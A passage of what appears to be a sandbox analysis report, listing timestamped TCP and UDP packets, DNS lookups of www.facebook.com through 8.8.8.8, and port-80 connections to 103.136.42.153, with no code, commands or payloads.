Oct 8, 2022 11:35:18.186125994 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.186167002 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.186177015 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.186224937 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.186928034 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.186999083 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.187001944 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.187015057 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.187072039 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.187077045 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.187088013 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.187151909 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.394896030 CEST	443	49713	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:18.534621000 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:18.662950039 CEST	49713	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:43.017123938 CEST	49714	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:43.048070908 CEST	80	49714	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:43.048211098 CEST	49714	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:43.060820103 CEST	49714	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:43.091026068 CEST	80	49714	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:43.092200994 CEST	80	49714	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:43.255502939 CEST	49714	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:44.531800032 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.531856060 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.531949997 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.532490015 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.532511950 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.586493015 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.586631060 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.654283047 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.654309988 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.655086040 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.656141043 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.656173944 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851450920 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851505041 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851543903 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851583958 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851591110 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.851645947 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851670980 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851682901 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.851732016 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:44.851747990 CEST	443	49715	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:44.851855993 CEST	49715	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:50.910495043 CEST	49712	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:50.911916018 CEST	49716	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:50.941174030 CEST	80	49712	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:50.941263914 CEST	49712	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:50.941325903 CEST	80	49716	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:50.941407919 CEST	49716	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:51.001307011 CEST	49716	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:51.030909061 CEST	80	49716	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:51.032068968 CEST	80	49716	103.136.42.153	192.168.2.3
Oct 8, 2022 11:35:51.084355116 CEST	49716	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:35:55.014278889 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.014354944 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.014450073 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.015217066 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.015247107 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.067600012 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.067732096 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.073395967 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.073415995 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.073841095 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.082331896 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.082349062 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273504972 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273617029 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273699045 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273699045 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.273756981 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273813009 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273838997 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273854971 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.273874998 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.273901939 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.274745941 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.274816036 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.274848938 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.276460886 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.276536942 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.276593924 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.276635885 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.276683092 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.290647030 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.290735006 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.290752888 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.290782928 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.291306973 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.291378021 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.291388035 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.291438103 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.292891026 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.292973995 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.293051958 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.293060064 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.294225931 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.294300079 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.294373035 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.294379950 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.294426918 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.295309067 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.295368910 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.296268940 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.296338081 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.296350956 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.296372890 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.296888113 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.297198057 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.297266006 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.297282934 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.297339916 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.298069000 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.298137903 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.298999071 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.299072027 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.299076080 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.299094915 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.299690962 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.308024883 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.308123112 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.308171034 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.308234930 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.308269024 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.308326006 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.309124947 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.309216022 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.309281111 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.309437990 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.309851885 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.309962988 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.310239077 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.310306072 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.310359955 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.310410976 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.311156034 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.311225891 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.311817884 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.311877966 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.311917067 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.311970949 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.312508106 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.312587976 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.312608957 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.312669039 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.313196898 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.313277960 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.313359976 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.313414097 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.314117908 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.314209938 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.314320087 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.314371109 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.314404964 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.314455032 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.315078020 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.315172911 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.315251112 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.315323114 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.315814018 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.315886021 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.316021919 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.316078901 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.316112041 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.316164017 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.316636086 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.316720009 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.316952944 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.317028046 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.317099094 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.317423105 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.317543030 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.317606926 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.317626953 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.317679882 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.317950964 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.318068027 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.318089008 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.318176985 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.324736118 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.324815035 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.324858904 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.324930906 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.324949980 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.324995995 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.325050116 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.325099945 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.325134039 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.325187922 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.325206995 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.325262070 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.325284958 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.325337887 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.326143980 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326222897 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.326231956 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326258898 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326340914 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326389074 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.326406956 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326462030 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.326719046 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326776981 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.326797009 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326849937 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.326872110 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.326946020 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.327009916 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.327058077 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.327608109 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.327694893 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.327784061 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.327841043 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.327858925 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.327886105 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.327910900 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.327925920 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.328303099 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.328900099 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.328964949 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329111099 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329171896 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329293013 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329350948 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329462051 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329533100 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329560041 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329623938 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329643965 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329706907 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329721928 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329744101 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329804897 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329830885 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.329878092 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.329912901 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.330034971 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.330483913 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.330559969 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.330573082 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.330595016 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.330647945 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.330679893 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.330734968 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.330759048 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.330809116 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.330835104 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331389904 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331473112 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331500053 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.331523895 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331564903 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.331568003 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331593990 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331676006 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331677914 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.331696987 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331742048 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.331774950 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.331851959 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.332273960 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.332349062 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.538932085 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.647165060 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:55.866986990 CEST	443	49717	31.13.92.36	192.168.2.3
Oct 8, 2022 11:35:55.867072105 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:35:56.063025951 CEST	49717	443	192.168.2.3	31.13.92.36
Oct 8, 2022 11:36:09.132153988 CEST	80	49710	103.136.42.153	192.168.2.3
Oct 8, 2022 11:36:09.132236958 CEST	49710	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:36:09.146725893 CEST	49710	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:36:09.175580978 CEST	80	49710	103.136.42.153	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2022 11:34:04.598725080 CEST	54397	53	192.168.2.3	8.8.8.8
Oct 8, 2022 11:34:04.617710114 CEST	53	54397	8.8.8.8	192.168.2.3
Oct 8, 2022 11:34:26.362292051 CEST	57990	53	192.168.2.3	8.8.8.8
Oct 8, 2022 11:34:26.381094933 CEST	53	57990	8.8.8.8	192.168.2.3
Oct 8, 2022 11:34:42.089598894 CEST	52387	53	192.168.2.3	8.8.8.8
Oct 8, 2022 11:34:42.108350992 CEST	53	52387	8.8.8.8	192.168.2.3
Oct 8, 2022 11:35:10.318486929 CEST	56924	53	192.168.2.3	8.8.8.8
Oct 8, 2022 11:35:10.337282896 CEST	53	56924	8.8.8.8	192.168.2.3
Oct 8, 2022 11:35:17.853486061 CEST	60625	53	192.168.2.3	8.8.8.8
Oct 8, 2022 11:35:17.872396946 CEST	53	60625	8.8.8.8	192.168.2.3
Oct 8, 2022 11:35:44.513334036 CEST	49302	53	192.168.2.3	8.8.8.8
Oct 8, 2022 11:35:44.530316114 CEST	53	49302	8.8.8.8	192.168.2.3
Oct 8, 2022 11:35:54.971772909 CEST	53975	53	192.168.2.3	8.8.8.8
Oct 8, 2022 11:35:54.991002083 CEST	53	53975	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2022 11:34:04.598725080 CEST	192.168.2.3	8.8.8.8	0x4169	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:34:26.362292051 CEST	192.168.2.3	8.8.8.8	0x669b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:34:42.089598894 CEST	192.168.2.3	8.8.8.8	0x5418	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:10.318486929 CEST	192.168.2.3	8.8.8.8	0xfdce	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:17.853486061 CEST	192.168.2.3	8.8.8.8	0xc276	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:44.513334036 CEST	192.168.2.3	8.8.8.8	0x748b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:54.971772909 CEST	192.168.2.3	8.8.8.8	0x234e	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2022 11:34:04.617710114 CEST	8.8.8.8	192.168.2.3	0x4169	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2022 11:34:04.617710114 CEST	8.8.8.8	192.168.2.3	0x4169	No error (0)	star-mini.c10r.facebook.com		157.240.20.35	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:34:26.381094933 CEST	8.8.8.8	192.168.2.3	0x669b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2022 11:34:26.381094933 CEST	8.8.8.8	192.168.2.3	0x669b	No error (0)	star-mini.c10r.facebook.com		157.240.20.35	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:34:42.108350992 CEST	8.8.8.8	192.168.2.3	0x5418	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2022 11:34:42.108350992 CEST	8.8.8.8	192.168.2.3	0x5418	No error (0)	star-mini.c10r.facebook.com		157.240.20.35	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:10.337282896 CEST	8.8.8.8	192.168.2.3	0xfdce	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2022 11:35:10.337282896 CEST	8.8.8.8	192.168.2.3	0xfdce	No error (0)	star-mini.c10r.facebook.com		31.13.92.36	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:17.872396946 CEST	8.8.8.8	192.168.2.3	0xc276	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2022 11:35:17.872396946 CEST	8.8.8.8	192.168.2.3	0xc276	No error (0)	star-mini.c10r.facebook.com		31.13.92.36	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:44.530316114 CEST	8.8.8.8	192.168.2.3	0x748b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2022 11:35:44.530316114 CEST	8.8.8.8	192.168.2.3	0x748b	No error (0)	star-mini.c10r.facebook.com		31.13.92.36	A (IP address)	IN (0x0001)	false
Oct 8, 2022 11:35:54.991002083 CEST	8.8.8.8	192.168.2.3	0x234e	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2022 11:35:54.991002083 CEST	8.8.8.8	192.168.2.3	0x234e	No error (0)	star-mini.c10r.facebook.com		31.13.92.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.facebook.com

103.136.42.153

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
